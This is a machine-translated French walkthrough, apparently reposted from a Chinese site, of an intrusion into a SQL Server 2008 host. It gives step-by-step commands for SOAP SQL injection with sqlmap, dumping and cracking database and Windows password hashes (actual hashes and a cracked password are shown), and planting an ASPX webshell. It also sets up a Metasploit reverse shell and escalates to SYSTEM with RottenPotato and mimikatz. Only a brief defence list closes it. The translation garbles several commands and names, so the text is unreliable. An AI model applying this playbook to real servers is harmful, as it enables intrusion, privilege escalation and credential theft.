Maison  >  Article  >  Opération et maintenance  >  Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

PHPz
PHPzavant
2023-05-11 21:25:041850parcourir

Dans le processus de pénétration réussi, l'exploitation des vulnérabilités consiste en l'intégration de plusieurs technologies, la pratique des dernières technologies. Cette pénétration utilise sqlmap pour confirmer le point d'injection, obtient le webshell via sqlmap et combine msf pour effectuer l'élévation des privilèges. de ms16-075 et a finalement obtenu les autorisations système du serveur cible. Cet article peut être considéré comme une nouvelle extension de l'exploitation des vulnérabilités. Lorsque l'élévation de privilèges conventionnelle de Nday échoue, un cas classique d'élévation de privilèges réussie de ms16-075 est combiné avec msf.

1.1.1 Rechercher les vulnérabilités d'injection de savon

1. Utilisez le scanner de services Web dans awvs pour rechercher les vulnérabilités. Ouvrez awvs, sélectionnez le scanner de services Web pour rechercher les vulnérabilités, comme indiqué dans la figure 1, remplissez la cible. adresse url dans l'url wsdl, notez qu'elle doit être asmx?wsdl, certains ont des fichiers asmx, sinon vous pouvez la renseigner directement, par exemple : http://1**.***.***. ***:8081/?wsdl.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 1 Effectuer une analyse de vulnérabilité d'injection de savon

2. Gérer l'injection aveugle SQL

Grâce à l'analyse awvs, confirmez que l'adresse URL a une injection aveugle SQL (26 emplacements), dans awvs, cliquez à droite "afficher les en-têtes http", copiez son contenu dans un fichier texte et traitez les instructions vulnérables. Dans ce cas, par exemple :

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf
Vous devez remplacer la partie de texte rouge par "-1*".

3. Le package d'en-tête complet contient le contenu suivant :

POST /Service1.asmx HTTP/1.1

Content-Type : text/xml

SOAPAction : "http://tempuri.org/ZcpdList"

Content - Longueur : 716

X-Requested-With : XMLHttpRequest

Référent : http://1**.***.***.***:8081/?wsdl

Hôte : 1**.* * *.***.***:8081

Connexion : Keep-alive

Accepter l'encodage : gzip,deflate

Agent utilisateur : Mozilla/5.0 (Windows NT 6.1 ; WOW64) AppleWebKit/537.21 (KHTML, comme Gecko) Chrome/41.0.2228.0 Safari/537.21

Accepter : */*

< ;urn:ZcpdList>

                                                                                                                                ory_dhs>

Réponse

1.1.2 Confirmer vulnérabilité d'injection de savon

1. Utilisez sqlmap pour détecter s'il existe une vulnérabilité d'injection SQL. Ajoutez l'en-tête précédent pour enregistrer le contenu sous 1**.***.***.***.txt, copiez le fichier dans. le répertoire où se trouve le programme sqlmap.py et exécutez la commande : sqlmap.py -r 1**.*** ***.***.txt, confirmez les informations demandées par sqlmap :

custom. marqueur d'injection ('*') trouvé dans l'option '--data' Voulez-vous le traiter ? [O/n/ q] [color=Red]y[/color]


Données SOAP/XML trouvées dans les données POST. . Voulez-vous le traiter ? [Y/n/q][color=Red]y[/color]

comme le montre la figure 2, sqlmap a confirmé que la vulnérabilité d'injection SQL existe et que le serveur de base de données est Windows. 2008 R2, la version de la base de données est SQL Server 2008 et la vulnérabilité Soap est la requête Union.


Figure 2 Il existe une vulnérabilité d'injection de savon Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf
2 Vérifiez si la base de données dispose des autorisations dba (1) Soumettez automatiquement les paramètres pour les tests comme indiqué dans la figure 3, exécutez la commande : sqlmap.py -r 1. **.** *.***.***.txt --is-dba --batch, vous devez également confirmer y deux fois. Parce que le paramètre "batch" est utilisé, sqlmap soumettra automatiquement la valeur du jugement.

Figure 3 Soumettre automatiquement les paramètres pour jugementComment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf
(2) Obtenez le compte dba de l'utilisateur utilisé dans la base de données actuelle. Comme le montre la figure 4, l'utilisateur actuel est dba dans sqlmap et le résultat affiché est vrai. Ce résultat montre que la base de données utilise les autorisations sa et que le webshell peut être obtenu via le paramètre os-shell.

La figure 4 détermine s'il s'agit d'un compte dbaComment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

3. Obtenez le mot de passe du compte sa

Comme le montre la figure 5, utilisez la commande sqlmap.py -r 1**.***.***.***.txt --password --batch pour obtenir directement la connexion à la base de données Les valeurs de mot de passe correspondant à tous les comptes :


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 5 Obtention du mot de passe du compte sa

4. Craquage du mot de passe du compte sa Obtention réussie de la valeur de hachage du mot de passe de la base de données via sqlmap :

##. MS_PolicyEventProcessingLogin## [ 1] :

hachage du mot de passe : 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1] :

hachage du mot de passe : c64 43e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:

hachage du mot de passe : 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 Changer la valeur du mot de passe correspondant à sa "0x 010 0b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 " sur www.cmd5.com Effectuez une requête, comme illustré dans la figure 6, et le résultat du décryptage est "qaz123WSX".

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 6 Valeur de hachage du mot de passe sa décryptée

1.1.3 Obtenez webshell via --os-shell1 Obtenez os-shell et exécutez la commande dans sqlmap : sqlmap.py -r 1**.***. .***.***.txt --os-shell, confirmez les informations dans la fenêtre d'exécution de sqlmap :


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Vous pouvez également exécuter sqlmap.py -r 1**.***.* ** La commande .***.txt --os-shell --batch n'a pas besoin d'être saisie manuellement.

2. Recherchez le répertoire où se trouve le programme Web

(1) Afficher les fichiers et les répertoires

Après avoir exécuté la commande dir c:, vous pouvez afficher le répertoire c et les fichiers, et continuer à afficher "dir c:inetpubwwwroot " comme le montre la figure 7. Il n'y a aucun programme Web dans le dossier, excluez donc ce répertoire.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 7 Afficher les fichiers et les répertoires

(2) Obtenez le répertoire réel du site Web En visualisant les disques c, d, e et f dans l'ordre, obtenez les fichiers du programme du site Web suspecté sur le disque électronique, et utilisez la commande dir e:softwareAMS_NoFlow pour afficher, comme le montre la figure 8.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 8 Afficher les fichiers du site Web

3. Testez le répertoire réel du site Web

(1) Générer un test de fichier Comme le montre la figure 9, utilisez la commande echo : echo "thisis test">e :softwareAMS_NoFlowt.txt , générez un fichier t.txt dans le répertoire racine du site Web. Le contenu est ce test.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 9 Fichier généré

(2) Test d'accès au site Web

Saisissez l'adresse http://1**.***.***.***/1.txt dans le navigateur pour Procédez au test, comme le montre la figure 10, le contenu obtenu est conforme aux attentes. L'annuaire est la véritable adresse physique du site Web.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 10 Test d'accès au site Web

4. Obtenez le contenu du fichier de configuration web.config

Dans os-shell, exécutez la commande de type e:softwareAMS_NoFlowweb.config pour afficher le contenu du Web. config, dans sqlmap En raison de problèmes de configuration, le contenu complet de la fenêtre de commande peut ne pas être visible, mais sqlmap conservera des informations détaillées dans son répertoire de sortie, comme le montre la figure 11. Lorsque vous ouvrez son fichier journal, vous pouvez voir que le mot de passe correspondant à son compte sa est qaz123WSX. Il est cohérent avec le mot de passe sa piraté précédemment.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 11 Afficher le contenu du fichier de configuration web.config

5. Obtenir les informations sur l'adresse IP

Comme le montre la figure 12, exécutez la commande ipconfig dans os-shell pour obtenir la configuration de l'adresse IP de la cible Dans ce cas, la cible est configurée avec des adresses IP externes et internes indépendantes, et d'autres commandes peuvent être exécutées dans os-shell.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 12 Obtenir l'adresse IP

6. Obtenir le test Webshell

(1) Générer le fichier shell

Exécuter la commande dans os-shell :

echo ^^ e:softwareAMS_NoFlowcmd.aspx

Comme le montre la figure 13, le résultat de l'écho indique 1, Là il n'y a aucune autre information et la commande de génération de fichier semble avoir réussi.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 13 Générer un webshell

(2) Obtenez un webshell Utilisez l'outil de gestion de porte dérobée Chinese Chopper pour créer un enregistrement http://1**.***.***.***/cmd.aspx avec un mot de passe de porte dérobée en une phrase : pass, comme indiqué dans la figure 14, cela montre que la connexion est réussie et que le webshell est obtenu avec succès.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 14 Obtention du webshell

1.1.4 La méthode conventionnelle n'a pas réussi à élever les privilèges

1. Générer le fichier d'informations système Exécuter la commande dans os-shell :

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

2. Adresse de téléchargement du programme Suggester Windows-Exploit-Suggester : https://github.com/GDSSecurity/Windows-Exploit-Suggester/

3. Mettez à jour la bibliothèque de vulnérabilités et effectuez une comparaison des vulnérabilités. Exécutez windows-exploit-suggester.py en python - u. pour mettre à jour et comparer la bibliothèque de vulnérabilités : windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > comme le montre la figure 15.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 15 pour comparaison des vulnérabilités

4. Vérifiez la situation de vulnérabilité. Ouvrez le fichier SYD1-0081DSB-day.txt dans le répertoire C:Python27, comme indiqué dans la figure 16, vous pouvez voir que le programme détermine que le système d'exploitation est la version Windows 2008 R2 et qu'il existe plusieurs vulnérabilités, la dernière vulnérabilité est ms16-075.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 16 Vérifiez la situation de vulnérabilité

5. Effectuez un test d'élévation de privilèges sur les vulnérabilités existantes en fonction du numéro de vulnérabilité, recherchez et organisez les fichiers exp et effectuez des tests d'élévation de privilèges sur le serveur cible. -075exp, test All a échoué et n'a pas pu élever les privilèges.

1.1.5 Utilisez msf pour effectuer une élévation de privilèges ms16-075

1. Utilisez msf pour générer un cheval de Troie de rebond

Exécutez la commande ci-dessous msf :


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

où windows/meterpreter/reverse_tcp type de port de rebond, lhost est le port de rebond L'adresse IP du serveur connecté doit être un serveur indépendant ou doit être un mappage de port réseau externe. En d'autres termes, le rebond doit être reçu et 4433 est le port de rebond. le programme généré.

2. Exécutez la commande d'écoute sur le serveur d'écoute

(1) Démarrez msf

msfconsole

(2) Configurez les paramètres de Meterpreter


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

3. exécutez-le

Téléchargez le fichier 4433.exe sur le serveur cible et exécutez-le via Chinese Color Knife ou os-shell.

4. Afficher les informations système

Comme le montre la figure 17, la cible rebondit sur le serveur d'écoute, exécute sysinfo et obtient ses informations système.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 17 L'obtention des informations système

5. L'utilisation de la fonction d'élévation de privilèges intégrée de Meterpreter a échoué

Exécutez les commandes getuid et getsystem respectivement dans Meterpreter, comme indiqué dans la figure 18, mais n'avez pas réussi à élever les privilèges.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 18 Échec de l'augmentation des privilèges à l'aide du compteur par défaut

6 Utilisez ms16-075 pour élever les privilèges

(1) ms16-075 peut être téléchargé à l'aide de exp https://github.com/foxglovesec/. RottenPotato

(2) Téléchargez le fichier Potato.exe

Téléchargez le fichier Potato.exe via WebShell ou exécutez la commande ci-dessous msf pour télécharger : upload /root/potato.exe

(3) Obtenez les autorisations système Exécutez les commandes suivantes dans séquence :


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Comme le montre la figure 19, les autorisations système ont été obtenues avec succès.

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 19 Obtenir les jetons d'autorisation système

(4) Obtenez les autorisations système et exécutez les commandes respectivement :


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Comme le montre la figure 20, les autorisations système sont obtenues avec succès.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 20 Obtention des autorisations système

(5) Obtention du mot de passe

Exécutez la commande sous Meterpreter : exécutez la commande hashdump, comme indiqué dans la figure 21, obtenez avec succès la valeur de hachage du mot de passe du serveur : Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Image 21 Obtenez le mot de passe

à In dans cet exemple, load mimikatz est toujours utilisé pour obtenir le mot de passe en texte clair, mais l'effet d'acquisition n'est pas idéal. L'exécution des commandes : kerberos, livessp, msv, ssp, tspkg, wdigest ne peut pas obtenir le mot de passe en texte clair. commande mimikatz_command et entrez l’invite de commande mimikatz Effectuer des opérations.

(6) Crack ntml password Copiez la valeur de hachage du mot de passe ntml a59a64a645487c1581dea603253c7920 sur cmd5.com pour le cracking cmd5 nécessite un paiement, vous pouvez également aller sur : http://www.objectif-securite.ch/en/ophcrack.php. et Le site Web https://www.somd5.com/ effectue le craquage du mot de passe, comme le montre la figure 22, et réussit à déchiffrer le mot de passe.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 22 Crack de la valeur de hachage ntlm

7. Connectez-vous au serveur via nmap -sS -Pn -A 1**.***.***.*** ou masscan -p 1 -65535 1**.***.***.*** a effectué une analyse de port et a constaté que le serveur a ouvert le port 3389. Utilisez mstsc pour vous connecter. Comme le montre la figure 23, vous vous êtes connecté avec succès au serveur.


Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

Figure 23 Connexion réussie au serveur

1.1.6 Résumé et défense

1. Résumé des commandes principales pour cette pénétration

(1) commande d'exécution sqlmap

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

(2 ) os- Exécuter la commande sous le shell


ipconfigdir c:/echo "thisis test">e:softwareAMS_NoFlowt.txtecho ^^ > e:softwareAMS_NoFlowcmd.aspx

(3) Exécutez la commande sous msf pour générer un cheval de Troie de rebond :

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

(4) msf démarrage et surveillance


msfconsoleuse exploit /multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (en fait l'adresse IP externe) set LPORT 4433exploit

(5) ms16-075 commande d'élévation de privilèges


utiliser incogni tolist_tokens - uexecute -cH -f ./ Potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM" getuid

(6) Obtenez le mot de passe, exécutez hashdump

(7) mimikatz pour l'acquisition du mot de passe

load mimikatzkerberos, livessp, msv, ssp, tspkg, wdigest (un par un test de commande, certains afficheront le mot de passe en texte brut) mimikatz_command : fenêtre d'invite de commande mimikatz

(8) Obtenir le mot de passe sous la ligne de commande mimikatz (non testé)

Comment élever les privilèges en injectant du savon dans un serveur SQL2008 et en le combinant avec msf

2.

Dans cette pénétration, effectuez un test d'injection de savon via sqlmap, jugez que le point d'injection SQL est disponible via sqlmap, puis obtenez avec succès le webshell via os-shell. Après avoir obtenu le webshell, j'ai essayé d'augmenter le privilège via la méthode conventionnelle Nday, mais le résultat a échoué. J'ai ensuite utilisé msf pour coopérer avec ms16-075 pour élever le privilège. Windows-Exploit-Suggester est toujours capable de juger et de tester les vulnérabilités locales grâce à son audit, les dernières vulnérabilités sont utilisées pour élever les privilèges, et le taux de réussite de base est de 99 %.

3. Défense de sécurité


Après avoir pénétré avec succès dans le serveur, aucun logiciel de protection de sécurité n'a été trouvé sur le serveur. Sur la base de son expérience, l'auteur recommande les défenses de sécurité suivantes :

(1) Filtrer les paramètres du savon pour filtrer certains dangers. paramètres qui conduisent à l’injection SQL.


(2) La base de données mssql utilise des utilisateurs à faibles privilèges pour les connexions à la base de données.


(3) Le serveur est régulièrement patché et mis à jour.


(4) Installez un logiciel antivirus, un waf et un pare-feu matériel pour augmenter le coût et la difficulté des attaques

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer